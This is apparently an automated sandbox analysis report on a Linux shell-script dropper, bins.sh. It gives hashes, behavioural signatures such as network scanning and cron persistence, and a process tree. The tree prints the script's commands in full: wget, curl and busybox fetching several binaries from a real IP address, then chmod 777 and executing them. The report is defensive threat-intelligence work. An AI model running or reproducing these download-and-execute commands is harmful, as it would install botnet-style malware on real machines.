Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 20:17
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
18c8a9d32ba1e84855d6f45dc1809684
-
SHA1
10acde0ea2f8624ea35e19019dd2e141a7427943
-
SHA256
a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de
-
SHA512
7508da5702a2e6c3bfb4f3a54995a22993bc56a91744323840f0a717aeae59518f735e6a46577537aa6bf7cfe359a54e7572f1e5cfd15e7949e4aa7c3bf13e45
-
SSDEEP
192:S8iqwUP2ksXooyFRfrM4qFlUFP+iqGooyFRxM4qFlVX:S8iqwUuksqNrM4qFlUF2iqj/M4qFlVX
Malware Config
Signatures
-
Contacts a large (2134) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodpid Process 1512 chmod 1519 chmod 1526 chmod 1533 chmod 1540 chmod -
Executes dropped EXE 5 IoCs
Processes:
3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhqq8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fFGTzGbuekv82AYjNujuq9hoRr8lG7vB39ReE2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMsioc pid Process /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq 1513 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF 1520 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re 1527 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc 1534 E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs 1541 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs -
Renames itself 1 IoCs
Processes:
8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMspid Process 1542 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.9d3aQQ crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMsdescription ioc Process File opened for reading /proc/1762/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/80/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/161/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/952/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1057/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1672/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1713/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1734/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1768/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/177/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1121/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1165/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1578/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1595/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1602/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1682/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/115/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1549/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1592/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1708/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1729/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/205/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1008/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1645/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1710/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1759/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/4/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/530/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1709/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/162/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/567/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/957/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1554/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1591/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1610/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1674/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1739/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1758/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1718/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/36/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/166/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1081/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1615/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1640/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1665/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1686/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1724/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1613/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1658/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1698/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1702/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/21/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1316/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1593/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/8/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/171/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/516/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/596/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1568/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/89/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/490/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1066/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1547/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs File opened for reading /proc/1763/cmdline 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs -
Writes file to tmp directory 15 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetwgetwgetbusyboxbusyboxbusyboxbusyboxwgetcurlbusyboxwgetcurlcurlcurlcurldescription ioc Process File opened for modification /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re wget File opened for modification /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc wget File opened for modification /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs wget File opened for modification /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq busybox File opened for modification /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF busybox File opened for modification /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re busybox File opened for modification /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc busybox File opened for modification /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF wget File opened for modification /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF curl File opened for modification /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs busybox File opened for modification /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq wget File opened for modification /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq curl File opened for modification /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re curl File opened for modification /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc curl File opened for modification /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1503
-
/bin/rm/bin/rm bins.sh2⤵PID:1504
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- Writes file to tmp directory
PID:1505
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- Writes file to tmp directory
PID:1510
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- Writes file to tmp directory
PID:1511
-
-
/bin/chmodchmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- File and Directory Permissions Modification
PID:1512
-
-
/tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵
- Executes dropped EXE
PID:1513
-
-
/bin/rmrm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq2⤵PID:1515
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- Writes file to tmp directory
PID:1516
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- Writes file to tmp directory
PID:1517
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- Writes file to tmp directory
PID:1518
-
-
/bin/chmodchmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- File and Directory Permissions Modification
PID:1519
-
-
/tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵
- Executes dropped EXE
PID:1520
-
-
/bin/rmrm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF2⤵PID:1522
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- Writes file to tmp directory
PID:1523
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- Writes file to tmp directory
PID:1524
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- Writes file to tmp directory
PID:1525
-
-
/bin/chmodchmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- File and Directory Permissions Modification
PID:1526
-
-
/tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵
- Executes dropped EXE
PID:1527
-
-
/bin/rmrm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re2⤵PID:1529
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵
- Writes file to tmp directory
PID:1530
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵
- Writes file to tmp directory
PID:1531
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵
- Writes file to tmp directory
PID:1532
-
-
/bin/chmodchmod 777 E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵
- File and Directory Permissions Modification
PID:1533
-
-
/tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc./E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵
- Executes dropped EXE
PID:1534
-
-
/bin/rmrm E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc2⤵PID:1536
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs2⤵
- Writes file to tmp directory
PID:1537
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs2⤵
- Writes file to tmp directory
PID:1538
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs2⤵
- Writes file to tmp directory
PID:1539
-
-
/bin/chmodchmod 777 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs2⤵
- File and Directory Permissions Modification
PID:1540
-
-
/tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs./8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1541 -
/bin/shsh -c "crontab -l"3⤵PID:1543
-
/usr/bin/crontabcrontab -l4⤵PID:1544
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1545
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1546
-
-
-
-
/bin/rmrm 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs2⤵PID:1548
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv2⤵PID:1551
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
-
Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
210B
MD57f624756c63c4d36095b9ae0da2d769f
SHA1536048f9ba6892b7c3a205c2f023fe1c4518704c
SHA2564e798297a081c66cae5a542b9479040a6ba6f6057a52b6dfde11d84fc60fb5af
SHA51223d7d34ad50859a1e972535d7a7d7931673964219471bf38d67f5fff2fd94bc8842545f820bad93902d9a65014231c6f1d6824a99f1abc478c4aa338ce97d6c1